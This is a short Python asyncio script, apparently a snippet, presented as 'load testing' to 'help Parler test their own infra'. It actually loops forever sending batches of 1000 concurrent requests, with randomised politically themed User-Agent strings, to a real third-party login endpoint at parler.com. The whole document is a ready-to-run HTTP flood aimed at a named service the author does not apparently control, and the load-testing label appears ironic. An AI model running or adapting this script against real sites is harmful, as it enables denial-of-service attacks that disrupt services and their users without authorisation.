Load testing a HTTP server with asyncio. Help Parler to test their own infra

async http request

import aiohttp
import asyncio
import sys
import random

async def fetch(session, url, task_id):
    user_agent = 'MAGA 2020, American First Observer %d' % random.randint(1, 111000)
    headers = {
        'User-Agent': user_agent
    }    
    async with session.get(url, headers=headers) as response:
        print("start %d" % task_id)
        resp = await response.read()
        print("done %d: %s" % (task_id, resp[:100]))        
        return resp

async def fetch_all(url):
    while True:
        async with aiohttp.ClientSession() as session:
            tasks = []
            for idx in range(1000):
                tasks.append(
                    fetch(
                        session,
                        url,
                        idx
                    )
                )
            await asyncio.gather(*tasks, return_exceptions=False)


asyncio.run(fetch_all('https://parler.com/auth/access'))